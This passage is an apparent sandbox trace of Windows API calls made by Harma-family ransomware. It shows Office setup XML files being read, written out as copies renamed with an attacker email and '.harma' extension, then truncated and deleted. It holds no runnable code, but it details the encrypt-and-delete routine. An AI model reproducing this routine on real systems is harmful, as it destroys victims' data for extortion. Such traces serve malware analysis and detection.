Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0050.678] lstrlenW (lpString=".dbf") returned 4 [0050.678] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0050.678] lstrlenW (lpString=".1cd") returned 4 [0050.678] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0050.678] lstrlenW (lpString=".jpg") returned 4 [0050.678] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0050.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0050.678] lstrlenW (lpString=".doc") returned 4 [0050.678] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.678] lstrlenW (lpString=".docx") returned 5 [0050.678] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0050.678] lstrlenW (lpString=".pdf") returned 4 [0050.678] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.678] lstrlenW (lpString=".xls") returned 4 [0050.678] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.678] lstrlenW (lpString=".xlsx") returned 5 [0050.678] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0050.678] lstrlenW (lpString=".ppt") returned 4 [0050.679] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0050.679] lstrlenW (lpString=".zip") returned 4 [0050.679] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.679] lstrlenW (lpString=".rar") returned 4 [0050.679] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.679] lstrlenW (lpString=".bz2") returned 4 [0050.679] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.679] lstrlenW (lpString=".7z") returned 3 [0050.679] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0050.679] lstrlenW (lpString=".dbf") returned 4 [0050.679] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0050.679] lstrlenW (lpString=".1cd") returned 4 [0050.679] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0050.679] lstrlenW (lpString=".jpg") returned 4 [0050.679] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.679] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0050.679] lstrlenW (lpString="OneNoteMUI.XML") returned 14 [0050.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0050.680] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1606) returned 1 [0050.680] CloseHandle (hObject=0x1a0) returned 1 [0050.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 0x20 [0050.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0050.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0050.681] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.681] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.681] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0050.731] GetLastError () returned 0x0 [0050.731] ReadFile (in: hFile=0x1a0, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x646, lpOverlapped=0x0) returned 1 [0050.732] WriteFile (in: hFile=0x1fc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x650, lpOverlapped=0x0) returned 1 [0050.734] ReadFile (in: hFile=0x1a0, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.734] WriteFile (in: hFile=0x1fc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0050.734] SetEndOfFile (hFile=0x1fc) returned 1 [0050.734] CloseHandle (hObject=0x1fc) returned 1 [0050.735] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.735] SetEndOfFile (hFile=0x1a0) returned 1 [0050.736] CloseHandle (hObject=0x1a0) returned 1 [0050.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0050.736] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 1 [0050.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0050.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0050.737] lstrlenW (lpString=".doc") returned 4 [0050.737] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.737] lstrlenW (lpString=".docx") returned 5 [0050.737] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0050.737] lstrlenW (lpString=".pdf") returned 4 [0050.737] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.737] lstrlenW (lpString=".xls") returned 4 [0050.737] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.737] lstrlenW (lpString=".xlsx") returned 5 [0050.737] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0050.737] lstrlenW (lpString=".ppt") returned 4 [0050.737] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0050.737] lstrlenW (lpString=".zip") returned 4 [0050.737] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.737] lstrlenW (lpString=".rar") returned 4 [0050.737] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.738] lstrlenW (lpString=".bz2") returned 4 [0050.738] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.738] lstrlenW (lpString=".7z") returned 3 [0050.738] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0050.738] lstrlenW (lpString=".dbf") returned 4 [0050.738] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0050.738] lstrlenW (lpString=".1cd") returned 4 [0050.738] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0050.738] lstrlenW (lpString=".jpg") returned 4 [0050.738] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0050.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0050.738] lstrlenW (lpString=".doc") returned 4 [0050.738] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.738] lstrlenW (lpString=".docx") returned 5 [0050.738] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0050.738] lstrlenW (lpString=".pdf") returned 4 [0050.738] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.738] lstrlenW (lpString=".xls") returned 4 [0050.738] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.738] lstrlenW (lpString=".xlsx") returned 5 [0050.738] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0050.738] lstrlenW (lpString=".ppt") returned 4 [0050.739] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0050.739] lstrlenW (lpString=".zip") returned 4 [0050.739] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.739] lstrlenW (lpString=".rar") returned 4 [0050.739] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.739] lstrlenW (lpString=".bz2") returned 4 [0050.739] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.739] lstrlenW (lpString=".7z") returned 3 [0050.739] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0050.739] lstrlenW (lpString=".dbf") returned 4 [0050.739] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0050.739] lstrlenW (lpString=".1cd") returned 4 [0050.739] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0050.739] lstrlenW (lpString=".jpg") returned 4 [0050.739] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.739] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0050.739] lstrlenW (lpString="OutlookMUI.XML") returned 14 [0050.740] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0050.740] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=3186) returned 1 [0050.740] CloseHandle (hObject=0x1a0) returned 1 [0050.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 0x20 [0050.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0050.740] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0050.740] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.741] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0050.743] GetLastError () returned 0x0 [0050.743] ReadFile (in: hFile=0x1a0, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0xc72, lpOverlapped=0x0) returned 1 [0050.745] WriteFile (in: hFile=0x1fc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xc80, lpOverlapped=0x0) returned 1 [0050.746] ReadFile (in: hFile=0x1a0, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.746] WriteFile (in: hFile=0x1fc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0050.746] SetEndOfFile (hFile=0x1fc) returned 1 [0050.747] CloseHandle (hObject=0x1fc) returned 1 [0050.749] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.749] SetEndOfFile (hFile=0x1a0) returned 1 [0050.750] CloseHandle (hObject=0x1a0) returned 1 [0050.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0050.750] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 1 [0050.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0050.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0050.751] lstrlenW (lpString=".doc") returned 4 [0050.751] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.751] lstrlenW (lpString=".docx") returned 5 [0050.751] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0050.751] lstrlenW (lpString=".pdf") returned 4 [0050.751] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.751] lstrlenW (lpString=".xls") returned 4 [0050.751] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.751] lstrlenW (lpString=".xlsx") returned 5 [0050.751] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0050.751] lstrlenW (lpString=".ppt") returned 4 [0050.751] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0050.751] lstrlenW (lpString=".zip") returned 4 [0050.751] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.751] lstrlenW (lpString=".rar") returned 4 [0050.751] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.751] lstrlenW (lpString=".bz2") returned 4 [0050.751] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.752] lstrlenW (lpString=".7z") returned 3 [0050.752] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0050.752] lstrlenW (lpString=".dbf") returned 4 [0050.752] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0050.752] lstrlenW (lpString=".1cd") returned 4 [0050.752] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0050.752] lstrlenW (lpString=".jpg") returned 4 [0050.752] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0050.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0050.752] lstrlenW (lpString=".doc") returned 4 [0050.752] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.752] lstrlenW (lpString=".docx") returned 5 [0050.752] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0050.752] lstrlenW (lpString=".pdf") returned 4 [0050.752] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.752] lstrlenW (lpString=".xls") returned 4 [0050.752] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.752] lstrlenW (lpString=".xlsx") returned 5 [0050.752] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0050.752] lstrlenW (lpString=".ppt") returned 4 [0050.752] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0050.753] lstrlenW (lpString=".zip") returned 4 [0050.753] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.753] lstrlenW (lpString=".rar") returned 4 [0050.753] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.753] lstrlenW (lpString=".bz2") returned 4 [0050.753] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.753] lstrlenW (lpString=".7z") returned 3 [0050.753] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0050.753] lstrlenW (lpString=".dbf") returned 4 [0050.753] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0050.753] lstrlenW (lpString=".1cd") returned 4 [0050.753] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0050.753] lstrlenW (lpString=".jpg") returned 4 [0050.753] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.753] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0050.753] lstrlenW (lpString="SETUP.XML") returned 9 [0050.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0050.755] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=4207) returned 1 [0050.755] CloseHandle (hObject=0x1a0) returned 1 [0050.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 0x20 [0050.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0050.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0050.755] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.755] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0050.756] GetLastError () returned 0x0 [0050.756] ReadFile (in: hFile=0x1a0, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x106f, lpOverlapped=0x0) returned 1 [0050.760] WriteFile (in: hFile=0x1fc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x1070, lpOverlapped=0x0) returned 1 [0050.761] ReadFile (in: hFile=0x1a0, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.761] WriteFile (in: hFile=0x1fc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0050.761] SetEndOfFile (hFile=0x1fc) returned 1 [0050.762] CloseHandle (hObject=0x1fc) returned 1 [0050.763] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.763] SetEndOfFile (hFile=0x1a0) returned 1 [0050.764] CloseHandle (hObject=0x1a0) returned 1 [0050.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0050.765] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup 